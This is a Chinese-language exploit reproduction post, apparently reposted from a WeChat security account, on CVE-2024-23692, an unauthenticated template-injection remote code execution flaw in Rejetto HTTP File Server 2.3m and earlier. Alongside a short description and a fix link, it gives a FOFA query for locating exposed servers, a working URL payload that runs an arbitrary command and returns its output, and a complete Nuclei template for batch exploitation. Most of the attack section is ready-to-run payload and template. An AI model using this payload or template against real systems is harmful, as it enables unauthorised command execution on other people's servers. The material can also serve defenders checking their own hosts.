Rejetto HTTP 文件服务器中的未经身份验证的 RCE（CVE-2024-23692）poc

漏洞描述

Rejetto HTTP File Server（Rejetto HFS）是Rejetto公司的一款 HTTP 文件服务器。Rejetto HTTP File Server 2.3m及之前版本存在安全漏洞，该漏洞源于存在模板注入漏洞。

漏洞危害

成功利用这一漏洞的攻击者可以进行远程未经身份验证的攻击者通过发送特制的HTTP请求在受影响的系统上执行任意命令。

影响版本

Rejetto HTTP File Server ≤ 2.3m

修复建议

官方已发布新版本修复漏洞

https://www.rejetto.com/hfs/?f=dl

空间测绘

app="HFS"

漏洞复现

搭建好网站进行访问

http://127.0.0.1:443/

输入payload，等待几秒钟（cmd=你的命令）

http://127.0.0.1:443/?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

调出web调试器，选择search，这里就可以看到执行命令的回显了

Nuclei 批量利用

nuclei poc获取

链接：https://pan.baidu.com/s/1WX_GwPPpQ0ndyVAjOCJvPA?pwd=6yfi 提取码：6yfi

id: CVE-2024-23692

info:
  name: Rejetto HTTP 文件服务器中的未经身份验证的 RCE
  author: GuoRong
  severity: high
  description: |
    Rejetto HTTP文件服务器，包括版本2.3m，在模板注入漏洞上存在漏洞。此漏洞允许远程，未经身份验证的攻击者通过发送精心构造的HTTP请求在受影响的系统上执行任意命令。
    在返回包搜索RESULT即可查看命令回显，或者在页面中的Search位置。
  reference:
    - https://x.com/HunterMapping/status/1800366198393332099
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="HFS"
  tags: GuoRong,HTTP,Rejetto

http:
  - raw:
    - |
      @timeout: 20s
      GET /?n=%0A&cmd=ipconfig&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
      Host: {{Hostname}}
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
      Connection: close
      Accept: */*
      Accept-Language: en
      Accept-Encoding: gzip, deflate

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'RESULT'
          - 'DNS'
          - 'IPv4'
        condition: and

      - type: word
        part: header
        words:
          - 'Set-Cookie: HFS_SID_'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d9a8d6952c271ba114e8715468ea2c32a2502393aa3681854e615cd2bd137ed022100fb23c47efb2a3e5187f71a7db61b3fa33e98fa82e39595b6e62d4c88eae747f7:fd4323287f9ec2d188c514a63cf3f339

参考文档

https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/#/https://x.com/HunterMapping/status/1800366198393332099https://mp.weixin.qq.com/s/cWRJhNSg6MsUNw0HC9ghxg

原文始发于微信公众号（NullError Sec）：【漏洞复现】Rejetto HTTP 文件服务器中的未经身份验证的 RCE（CVE-2024-23692）